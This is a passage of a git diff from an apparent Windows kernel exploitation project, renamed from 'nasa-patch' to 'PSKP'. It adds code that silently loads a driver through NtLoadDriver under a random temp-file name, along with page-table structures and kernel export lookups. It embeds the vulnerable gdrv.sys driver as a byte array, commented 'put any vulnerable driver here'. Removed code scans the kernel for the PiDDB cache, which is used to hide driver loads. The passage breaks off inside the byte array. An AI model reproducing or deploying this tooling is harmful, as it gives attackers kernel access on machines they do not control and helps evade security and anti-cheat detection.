&token_handle)) @@ -157,7 +144,7 @@ namespace driver return true; } - inline std::string get_service_image_path(const std::string& service_name) + __forceinline auto get_service_image_path(const std::string& service_name) -> std::string { HKEY reg_handle; DWORD bytes_read; @@ -185,36 +172,27 @@ namespace driver } } - inline bool load(const std::string& drv_path, const std::string& service_name) + __forceinline auto load(const std::string& drv_path, const std::string& service_name) -> bool { if (!util::enable_privilege(L"SeLoadDriverPrivilege")) return false; - if (!util::create_service_entry("\\??\\" + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name)) + if (!util::create_service_entry("\\??\\" + + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name)) return false; std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); reg_path += service_name; - static const auto lp_nt_load_drv = - ::GetProcAddress( - GetModuleHandleA("ntdll.dll"), - "NtLoadDriver" - ); - - if (lp_nt_load_drv) - { - ANSI_STRING driver_rep_path_cstr; - UNICODE_STRING driver_reg_path_unicode; + ANSI_STRING driver_rep_path_cstr; + UNICODE_STRING driver_reg_path_unicode; - RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); - RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); - return ERROR_SUCCESS == reinterpret_cast(lp_nt_load_drv)(&driver_reg_path_unicode); - } - return false; + RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); + RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); + return ERROR_SUCCESS == NtLoadDriver(&driver_reg_path_unicode); } - inline std::tuple load(const std::vector& drv_buffer) + __forceinline auto load(const std::vector& drv_buffer) -> std::tuple { static const auto random_file_name = [](std::size_t length) -> std::string { @@ -234,68 +212,45 @@ namespace driver const auto service_name = random_file_name(16); const auto file_path = std::filesystem::temp_directory_path().string() + service_name; + std::ofstream output_file(file_path.c_str(), std::ios::binary); + + output_file.write((char*)drv_buffer.data(), drv_buffer.size()); + output_file.close(); - const auto h_file = CreateFileA( - file_path.data(), - GENERIC_ALL, - NULL, NULL, - CREATE_ALWAYS, - FILE_ATTRIBUTE_NORMAL, - NULL - ); - - DWORD bytes_written; - WriteFile( - h_file, - drv_buffer.data(), - drv_buffer.size(), - &bytes_written, - NULL - ); - - CloseHandle(h_file); return { load(file_path, service_name), service_name }; } - inline std::tuple load(const std::uint8_t* buffer, const std::size_t size) + __forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::tuple { std::vector image(buffer, buffer + size); return load(image); } - inline bool unload(const std::string& service_name) + __forceinline auto unload(const std::string& service_name) -> bool { std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); reg_path += service_name; - static const auto lp_nt_unload_drv = - ::GetProcAddress( - GetModuleHandleA("ntdll.dll"), - "NtUnloadDriver" - ); - - if (lp_nt_unload_drv) - { - ANSI_STRING driver_rep_path_cstr; - UNICODE_STRING driver_reg_path_unicode; + ANSI_STRING driver_rep_path_cstr; + UNICODE_STRING driver_reg_path_unicode; - RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); - RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); + RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); + RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); - const bool unload_drv = !reinterpret_cast(lp_nt_unload_drv)(&driver_reg_path_unicode); - const auto image_path = util::get_service_image_path(service_name); - const bool delete_reg = util::delete_service_entry(service_name); + const bool unload_drv = STATUS_SUCCESS == NtUnloadDriver(&driver_reg_path_unicode); + const auto image_path = std::filesystem::temp_directory_path().string() + service_name; + const bool delete_reg = util::delete_service_entry(service_name); - try - { - const bool delete_drv = std::filesystem::remove(image_path); - } catch(std::exception& e) - { - std::cerr << "[!] failed to delete image: " << e.what() << std::endl; - } - - return unload_drv && delete_reg; + // sometimes you cannot delete the driver off disk because there are still handles open + // to the driver, this means the driver is still loaded into the kernel... + try + { + std::filesystem::remove(image_path); + } + catch (std::exception& e) + { + return false; } - return false; + return delete_reg && unload_drv; } } \ No newline at end of file diff --git a/PSKP/util/nt.hpp b/PSKP/util/nt.hpp new file mode 100644 index 0000000..3a4c26e --- /dev/null +++ b/PSKP/util/nt.hpp @@ -0,0 +1,190 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#pragma comment(lib, "ntdll.lib") + +#if _DEBUG +#define DBG_ASSERT(...) assert(__VA_ARGS__) +#define DBG_PRINT(...) printf(__VA_ARGS__) +#else +#define DBG_ASSERT(...) assert(__VA_ARGS__) +#define DBG_PRINT(...) printf(__VA_ARGS__) +#endif + +#define PAGE_4KB 0x1000 +#define MM_COPY_MEMORY_PHYSICAL 0x1 +#define MM_COPY_MEMORY_VIRTUAL 0x2 +#define PAGE_IN(addr, size) memset(addr, NULL, size) + +constexpr auto SystemModuleInformation = 11; +constexpr auto SystemHandleInformation = 16; +constexpr auto SystemExtendedHandleInformation = 64; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS; + +typedef struct _MM_COPY_ADDRESS { + union { + PVOID VirtualAddress; + PHYSICAL_ADDRESS PhysicalAddress; + }; +} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS; + +using PEPROCESS = PVOID; + +using PsLookupProcessByProcessId = NTSTATUS (__fastcall*)( + HANDLE ProcessId, + PEPROCESS* Process +); + +using MmCopyMemory = NTSTATUS(__stdcall*)( + PVOID, + MM_COPY_ADDRESS, + SIZE_T, + ULONG, + PSIZE_T +); + +using MmGetVirtualForPhysical = std::uintptr_t(__fastcall*)( + __in std::uintptr_t PhysicalAddress +); + +using MmGetPhysicalAddress = std::uintptr_t(__fastcall*)( + __in std::uintptr_t BaseAddress +); + +typedef union _virt_addr_t +{ + void* value; + struct + { + std::uint64_t offset : 12; + std::uint64_t pt_index : 9; + std::uint64_t pd_index : 9; + std::uint64_t pdpt_index : 9; + std::uint64_t pml4_index : 9; + std::uint64_t reserved : 16; + }; +} virt_addr_t, *pvirt_addr_t; +static_assert(sizeof(virt_addr_t) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); + +typedef union _pml4e +{ + std::uint64_t value; + struct + { + std::uint64_t present : 1; // Must be 1, region invalid if 0. + std::uint64_t ReadWrite : 1; // If 0, writes not allowed. + std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed. + std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PDPT. + std::uint64_t page_cache : 1; // Determines the memory type used to access PDPT. + std::uint64_t accessed : 1; // If 0, this entry has not been used for translation. + std::uint64_t Ignored1 : 1; + std::uint64_t large_page : 1; // Must be 0 for PML4E. + std::uint64_t Ignored2 : 4; + std::uint64_t pfn : 36; // The page frame number of the PDPT of this PML4E. + std::uint64_t Reserved : 4; + std::uint64_t Ignored3 : 11; + std::uint64_t nx : 1; // If 1, instruction fetches not allowed. + }; +} pml4e, * ppml4e; +static_assert(sizeof(pml4e) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); + +typedef union _pdpte +{ + std::uint64_t value; + struct + { + std::uint64_t present : 1; // Must be 1, region invalid if 0. + std::uint64_t rw : 1; // If 0, writes not allowed. + std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed. + std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PD. + std::uint64_t page_cache : 1; // Determines the memory type used to access PD. + std::uint64_t accessed : 1; // If 0, this entry has not been used for translation. + std::uint64_t Ignored1 : 1; + std::uint64_t large_page : 1; // If 1, this entry maps a 1GB page. + std::uint64_t Ignored2 : 4; + std::uint64_t pfn : 36; // The page frame number of the PD of this PDPTE. + std::uint64_t Reserved : 4; + std::uint64_t Ignored3 : 11; + std::uint64_t nx : 1; // If 1, instruction fetches not allowed. + }; +} pdpte, * ppdpte; +static_assert(sizeof(pdpte) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); + +typedef union _pde +{ + std::uint64_t value; + struct + { + std::uint64_t present : 1; // Must be 1, region invalid if 0. + std::uint64_t rw : 1; // If 0, writes not allowed. + std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed. + std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PT. + std::uint64_t page_cache : 1; // Determines the memory type used to access PT. + std::uint64_t accessed : 1; // If 0, this entry has not been used for translation. + std::uint64_t Ignored1 : 1; + std::uint64_t large_page : 1; // If 1, this entry maps a 2MB page. + std::uint64_t Ignored2 : 4; + std::uint64_t pfn : 36; // The page frame number of the PT of this PDE. + std::uint64_t Reserved : 4; + std::uint64_t Ignored3 : 11; + std::uint64_t nx : 1; // If 1, instruction fetches not allowed. + }; +} pde, * ppde; +static_assert(sizeof(pde) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); + +typedef union _pte +{ + std::uint64_t value; + struct + { + std::uint64_t present : 1; // Must be 1, region invalid if 0. + std::uint64_t rw : 1; // If 0, writes not allowed. + std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed. + std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access the memory. + std::uint64_t page_cache : 1; // Determines the memory type used to access the memory. + std::uint64_t accessed : 1; // If 0, this entry has not been used for translation. + std::uint64_t Dirty : 1; // If 0, the memory backing this page has not been written to. + std::uint64_t PageAccessType : 1; // Determines the memory type used to access the memory. + std::uint64_t Global : 1; // If 1 and the PGE bit of CR4 is set, translations are global. + std::uint64_t Ignored2 : 3; + std::uint64_t pfn : 36; // The page frame number of the backing physical page. + std::uint64_t reserved : 4; + std::uint64_t Ignored3 : 7; + std::uint64_t ProtectionKey : 4; // If the PKE bit of CR4 is set, determines the protection key. + std::uint64_t nx : 1; // If 1, instruction fetches not allowed. + }; +} pte, * ppte; +static_assert(sizeof(pte) == sizeof(PVOID), "Size mismatch, only 64-bit supported."); + +struct pt_entries +{ + std::pair pml4; + std::pair pdpt; + std::pair pd; + std::pair pt; +}; \ No newline at end of file diff --git a/nasa-patch/util/util.hpp b/PSKP/util/util.hpp similarity index 58% rename from nasa-patch/util/util.hpp rename to PSKP/util/util.hpp index a0d1374..4c5606b 100644 --- a/nasa-patch/util/util.hpp +++ b/PSKP/util/util.hpp @@ -9,8 +9,8 @@ #include #include #include -#include #include +#include #include "nt.hpp" @@ -20,7 +20,7 @@ namespace util inline std::map pmem_ranges; //--- validates the address - inline bool is_valid(std::uintptr_t addr) + __forceinline auto is_valid(std::uintptr_t addr) -> bool { for (auto range : pmem_ranges) if (addr >= range.first && addr <= range.first + range.second) @@ -49,12 +49,17 @@ namespace util return true; })(); - inline std::uintptr_t get_module_base(const char* module_name) + __forceinline auto get_module_base(const char* module_name) -> std::uintptr_t { void* buffer = nullptr; DWORD buffer_size = NULL; - NTSTATUS status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + NTSTATUS status = NtQuerySystemInformation( + static_cast(SystemModuleInformation), + buffer, + buffer_size, + &buffer_size + ); while (status == STATUS_INFO_LENGTH_MISMATCH) { @@ -82,33 +87,25 @@ namespace util } VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; + return {}; } - inline bool enable_privilege(const std::wstring_view privilege_name) + __forceinline auto get_file_header(void* base_addr) -> PIMAGE_FILE_HEADER { - HANDLE token_handle = nullptr; - if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle)) - return false; - - LUID luid{}; - if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid)) - return false; - - TOKEN_PRIVILEGES token_state{}; - token_state.PrivilegeCount = 1; - token_state.Privileges[0].Luid = luid; - token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - - if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr)) - return false; - CloseHandle(token_handle); - return true; + if (!base_addr || *(short*)base_addr != IMAGE_DOS_SIGNATURE) + return {}; + + PIMAGE_DOS_HEADER dos_headers = + reinterpret_cast(base_addr); + + PIMAGE_NT_HEADERS nt_headers = + reinterpret_cast( + reinterpret_cast(base_addr) + dos_headers->e_lfanew); + + return &nt_headers->FileHeader; } - // taken from: - // http://www.cplusplus.com/forum/windows/12137/ - inline DWORD get_pid(const char* proc_name) + __forceinline auto get_pid(const char* proc_name) -> std::uint32_t { PROCESSENTRY32 proc_info; proc_info.dwSize = sizeof(proc_info); @@ -137,25 +134,7 @@ namespace util return NULL; } - // this was taken from wlan's drvmapper: - // https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7 - inline void open_binary_file(const std::string& file, std::vector& data) - { - std::ifstream fstr(file, std::ios::binary); - fstr.unsetf(std::ios::skipws); - fstr.seekg(0, std::ios::end); - - const auto file_size = fstr.tellg(); - - fstr.seekg(NULL, std::ios::beg); - data.reserve(static_cast(file_size)); - data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); - } - - // get base address of kernel module - // - // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 - inline std::uintptr_t get_kernel_module_base(const char* module_name) + __forceinline auto get_kmodule_base(const char* module_name) -> std::uintptr_t { void* buffer = nullptr; DWORD buffer_size = NULL; @@ -191,10 +170,7 @@ namespace util return NULL; } - // get base address of kernel module - // - // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 - inline void* get_module_export(const char* module_name, const char* export_name, bool rva = false) + __forceinline auto get_kmodule_export(const char* module_name, const char* export_name, bool rva = false) -> void* { void* buffer = nullptr; DWORD buffer_size = 0; @@ -229,7 +205,8 @@ namespace util std::string(getenv("SYSTEMROOT")).append("\\") ); - auto module_base = LoadLibraryEx(full_path.c_str(), NULL, DONT_RESOLVE_DLL_REFERENCES); + auto module_base = LoadLibraryExA(full_path.c_str(), + NULL, DONT_RESOLVE_DLL_REFERENCES); PIMAGE_DOS_HEADER p_idh; PIMAGE_NT_HEADERS p_inh; PIMAGE_EXPORT_DIRECTORY p_ied; @@ -255,8 +232,8 @@ namespace util name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames); ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals); - // find exported function for (auto i = 0; i < p_ied->AddressOfFunctions; i++) + { if (!strcmp(export_name, (char*)module_base + name[i])) { if (!rva) @@ -272,13 +249,14 @@ namespace util return result; } } + } } } VirtualFree(buffer, NULL, MEM_RELEASE); return NULL; } - inline void* get_module_export(void* module_base, const char* export_name) + __forceinline auto get_kmodule_export(void* module_base, const char* export_name) -> void* { PIMAGE_DOS_HEADER p_idh; PIMAGE_NT_HEADERS p_inh; @@ -305,141 +283,14 @@ namespace util name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames); ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals); - // find exported function for (auto i = 0; i < p_ied->AddressOfFunctions; i++) + { if (!strcmp(export_name, (char*)module_base + name[i])) { auto result = (void*)((std::uintptr_t)module_base + addr[ordinal[i]]); return result; } - return NULL; - } - - inline PIMAGE_FILE_HEADER get_file_header(void* base_addr) - { - if (!base_addr || *(short*)base_addr != 0x5A4D) - return NULL; - - PIMAGE_DOS_HEADER dos_headers = - reinterpret_cast(base_addr); - - PIMAGE_NT_HEADERS nt_headers = - reinterpret_cast( - reinterpret_cast(base_addr) + dos_headers->e_lfanew); - - return &nt_headers->FileHeader; - } - - namespace memory - { - template - inline std::uintptr_t pattern_scan_kernel(const char(&signature)[pattern_length], const char(&mask)[pattern_length]) - { - static const auto kernel_addr = - LoadLibraryEx( - "ntoskrnl.exe", - NULL, - DONT_RESOLVE_DLL_REFERENCES - ); - - static const auto p_idh = reinterpret_cast(kernel_addr); - if (p_idh->e_magic != IMAGE_DOS_SIGNATURE) - return NULL; - - static const auto p_inh = reinterpret_cast((LPBYTE)kernel_addr + p_idh->e_lfanew); - if (p_inh->Signature != IMAGE_NT_SIGNATURE) - return NULL; - - static auto current_section = reinterpret_cast(p_inh + 1); - static const auto first_section = current_section; - static const auto num_sec = p_inh->FileHeader.NumberOfSections; - static std::atomic ran_before = false; - - // - // only run this once. - // - if (!ran_before.exchange(true)) - for (; current_section < first_section + num_sec; ++current_section) - if (!strcmp(reinterpret_cast(current_section->Name), "PAGE")) - break; - - static const auto page_section_begin = - reinterpret_cast(kernel_addr) + current_section->VirtualAddress; - - const auto pattern_view = std::string_view{ - reinterpret_cast(page_section_begin), - current_section->SizeOfRawData - }; - - std::array, pattern_length - 1> pattern{}; - - for (std::size_t index = 0; index < pattern_length - 1; index++) - pattern[index] = { signature[index], mask[index] }; - - auto resultant_address = std::search( - pattern_view.cbegin(), - pattern_view.cend(), - pattern.cbegin(), - pattern.cend(), - [](char left, std::pair right) -> bool { - return (right.second == '?' || left == right.first); - }); - - return resultant_address == pattern_view.cend() ? 0 : reinterpret_cast(resultant_address.operator->()); - } - - // - // be aware that this may not work for win8 or win7! - // - inline void* get_piddb_lock() - { - static const auto absolute_addr_instruction = - pattern_scan_kernel( - piddb_lock_sig, - piddb_lock_mask - ); - - static const auto ntoskrnl_in_my_process = - reinterpret_cast(GetModuleHandle("ntoskrnl.exe")); - - if (!absolute_addr_instruction || !ntoskrnl_in_my_process) - return {}; - - const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3); - const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process; - static const auto kernel_base = util::get_module_base("ntoskrnl.exe"); - - if (!kernel_base) - return {}; - - return reinterpret_cast(kernel_base + real_rva); - } - - // - // be aware that this may not work for win8 or win7! - // - inline void* get_piddb_table() - { - static const auto absolute_addr_instruction = - pattern_scan_kernel( - piddb_table_sig, - piddb_table_mask - ); - - static const auto ntoskrnl_in_my_process = - reinterpret_cast(GetModuleHandle("ntoskrnl.exe")); - - if (!absolute_addr_instruction || !ntoskrnl_in_my_process) - return {}; - - const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3); - const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process; - static const auto kernel_base = util::get_module_base("ntoskrnl.exe"); - - if (!kernel_base) - return {}; - - return reinterpret_cast(kernel_base + real_rva); } + return NULL; } } \ No newline at end of file diff --git a/PSKP/vdm/raw_driver.hpp b/PSKP/vdm/raw_driver.hpp new file mode 100644 index 0000000..40ed341 --- /dev/null +++ b/PSKP/vdm/raw_driver.hpp @@ -0,0 +1,2242 @@ +#include + +namespace vdm +{ + // gdrv.sys, but put any vulnerable driver here... + constexpr std::uint8_t raw_driver[] = + { + 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, + 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xF0, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, + 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, + 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, + 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, + 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, + 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDB, 0xC8, 0x17, 0xA3, + 0x9F, 0xA9, 0x79, 0xF0, 0x9F, 0xA9, 0x79, 0xF0, 0x9F, 0xA9, 0x79, 0xF0, + 0x9F, 0xA9, 0x78, 0xF0, 0x82, 0xA9, 0x79, 0xF0, 0xBD, 0xC9, 0x78, 0xF1, + 0x9A, 0xA9, 0x79, 0xF0, 0xBD, 0xC9, 0x7A, 0xF1, 0x9A, 0xA9, 0x79, 0xF0, + 0xBD, 0xC9, 0x7D, 0xF1, 0x9A, 0xA9, 0x79, 0xF0, 0x08, 0xF7, 0x7D, 0xF1, + 0x9E, 0xA9, 0x79, 0xF0, 0x00, 0xA1, 0x04, 0xF0, 0x9E, 0xA9, 0x79, 0xF0, + 0x0D, 0xF7, 0x86, 0xF0, 0x9E, 0xA9, 0x79, 0xF0, 0x08, 0xF7, 0x7B, 0xF1, + 0x9E, 0xA9, 0x79, 0xF0, 0x52, 0x69, 0x63, 0x68, 0x9F, 0xA9, 0x79, 0xF0, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x08, 0x00, 0x65, 0xEB, 0x20, 0x5A, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00, + 0x0B, 0x02, 0x0E, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, + 0x06, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, + 0x00, 0x04, 0x00, 0x00, 0x2F, 0xF6, 0x00, 0x00, 0x01, 0x00, 0x60, 0x01, + 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x90, 0x80, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, + 0x48, 0x03, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0xEC, 0x01, 0x00, 0x00, + 0x00, 0x4A, 0x00, 0x00, 0xA8, 0x1E, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, + 0x18, 0x00, 0x00, 0x00, 0x20, 0x41, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x60, 0x41, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x8F, 0x2A, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x00, 0x00, 0x68, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0xA0, 0x06, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, + 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x2E, 0x64, 0x61, 0x74, + 0x61, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, + 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xEC, 0x01, 0x00, 0x00, + 0x00, 0x60, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x48, 0x2E, 0x67, 0x66, 0x69, 0x64, 0x73, 0x00, 0x00, + 0x04, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x49, 0x4E, 0x49, 0x54, + 0x00, 0x00, 0x00, 0x00, 0x4C, 0x04, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, + 0x00, 0x06, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x62, + 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0x48, 0x03, 0x00, 0x00, + 0x00, 0x90, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x42, 0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00, + 0x18, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 